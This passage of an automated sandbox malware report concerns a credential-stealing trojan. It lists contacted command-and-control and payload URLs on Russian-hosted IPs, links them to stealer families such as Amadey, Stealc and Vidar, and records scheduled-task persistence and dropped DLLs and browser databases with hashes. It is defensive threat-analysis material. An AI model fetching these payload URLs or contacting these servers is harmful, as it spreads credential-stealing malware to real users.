https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.php%?	3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D1C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/stealc/random.exeAL-	explortu.exe, 0000000A.00000002.3430361490.0000000000CA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org	KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpM	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	false	URL Reputation: safe	unknown
http://147.45.47.155/ku4Nor9/index.php;R	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	false	Avira URL Cloud: safe	unknown
http://147.45.47.155/ku4Nor9/index.phpH	explortu.exe, 0000000A.00000002.3430361490.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/cost/go.exeAppData	EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
147.45.47.155	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1462819
Start date and time:	2024-06-26 08:15:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EZrw1nNIpG.exe renamed because original name is a hash value
Original Sample Name:	e3cbb274e66e95a1b7ee5c05d87abbd5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/30@0/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.209.176, 2.23.209.179, 2.23.209.169, 2.23.209.181, 2.23.209.178, 2.23.209.173, 2.23.209.180, 2.23.209.183, 2.23.209.168
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target KKEBKJJDGH.exe, PID 5264 because it is empty
Execution Graph export aborted for target explortu.exe, PID 3884 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:16:40	API Interceptor	2090972x Sleep call for process: explortu.exe modified
08:16:37	Task Scheduler	Run new task: explortu path: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.47.155	setup.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155/ku4Nor9/index.php
	SecuriteInfo.com.Win32.Evo-gen.11484.28734.exe	Get hash	malicious	Amadey	Browse	147.45.47.155/ku4Nor9/index.php
	SecuriteInfo.com.Win32.Evo-gen.23207.8804.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155/ku4Nor9/index.php
	SecuriteInfo.com.Win32.Evo-gen.8431.6571.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155/ku4Nor9/index.php
77.91.77.81	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	yWny5Jds8b.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	77.91.77.81/Kiru9gu/index.php
	RzvHe92EQb.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	4o1a2LKt5z.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
85.28.47.4	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	Loader.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	Aquantia_Setup 2.21.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	setup.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	147.45.47.155
	setup.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	Galaxy Swapper v2.0.3.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.126
	SecuriteInfo.com.Win32.PWSX-gen.1558.15324.exe	Get hash	malicious	PureLog Stealer	Browse	193.233.203.218
	4Ip0IVHqJ3.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.126
	http://premium.davidabostic.com	Get hash	malicious	Unknown	Browse	147.45.78.74
	project.exe	Get hash	malicious	Unknown	Browse	147.45.44.73
GES-ASRU	2snSKQHbDz.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	xS6ePhELv0.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	6a7R9UXFMM.elf	Get hash	malicious	Mirai	Browse	85.28.26.9
	WNvt5lJRrT.elf	Get hash	malicious	Mirai	Browse	85.28.26.0
	hbqK0qfLnv.elf	Get hash	malicious	Mirai	Browse	85.28.26.0
	bwyqaMjMfW.elf	Get hash	malicious	Mirai	Browse	85.28.26.4
	VTkbb55E86.elf	Get hash	malicious	Mirai	Browse	85.28.26.7
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81
	Ke5ufWcgxp.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	yWny5Jds8b.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	77.91.77.81
	file.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	77.91.77.81
	BqqQh4Jr7L.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	DqnftBv2b9.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Set-up.exe	Get hash	malicious	Amadey, Vidar, Xmrig	Browse
	75MwheiQ7I.exe	Get hash	malicious	Amadey	Browse
	ljwIPDSwFi.exe	Get hash	malicious	DarkGate, MailPassView, Vidar	Browse
	Qiv6UE0Veq.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	f9e3368715092e6a197adf1ae64d6fbe059252b4fbaf3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win64.DropperX-gen.20168.7257.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar, zgRAT	Browse
C:\ProgramData\mozglue.dll	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	DqnftBv2b9.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Set-up.exe	Get hash	malicious	Amadey, Vidar, Xmrig	Browse
	75MwheiQ7I.exe	Get hash	malicious	Amadey	Browse
	ljwIPDSwFi.exe	Get hash	malicious	DarkGate, MailPassView, Vidar	Browse
	Qiv6UE0Veq.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	f9e3368715092e6a197adf1ae64d6fbe059252b4fbaf3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win64.DropperX-gen.20168.7257.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar, zgRAT	Browse

Created / dropped Files

C:\ProgramData\DGHIDAFCGIEHIEBFCFBA

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIDAFCGIEHIEBFCFBAEGDGDH

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHDHJEBGHJKFIECBG

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIEBFHCAKFBGDHIDHIDBKKKKKE

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCAAKJDHJJJJJKKKFB

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJKJEHJK

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDAFHDHCBFIDGCFIDGHJDGDA

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKEBKJJD

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJDGDHIDBGIECBGHJDBAAKJDH

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KgXj6BW5dZ.exe, Detection: malicious, Browse Filename: T8TLibvQ1C.exe, Detection: malicious, Browse Filename: HWyC5T1f8a.exe, Detection: malicious, Browse Filename: DqnftBv2b9.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 75MwheiQ7I.exe, Detection: malicious, Browse Filename: ljwIPDSwFi.exe, Detection: malicious, Browse Filename: Qiv6UE0Veq.exe, Detection: malicious, Browse Filename: f9e3368715092e6a197adf1ae64d6fbe059252b4fbaf3.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.DropperX-gen.20168.7257.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KgXj6BW5dZ.exe, Detection: malicious, Browse Filename: T8TLibvQ1C.exe, Detection: malicious, Browse Filename: HWyC5T1f8a.exe, Detection: malicious, Browse Filename: DqnftBv2b9.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 75MwheiQ7I.exe, Detection: malicious, Browse Filename: ljwIPDSwFi.exe, Detection: malicious, Browse Filename: Qiv6UE0Veq.exe, Detection: malicious, Browse Filename: f9e3368715092e6a197adf1ae64d6fbe059252b4fbaf3.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.DropperX-gen.20168.7257.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\EZrw1nNIpG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
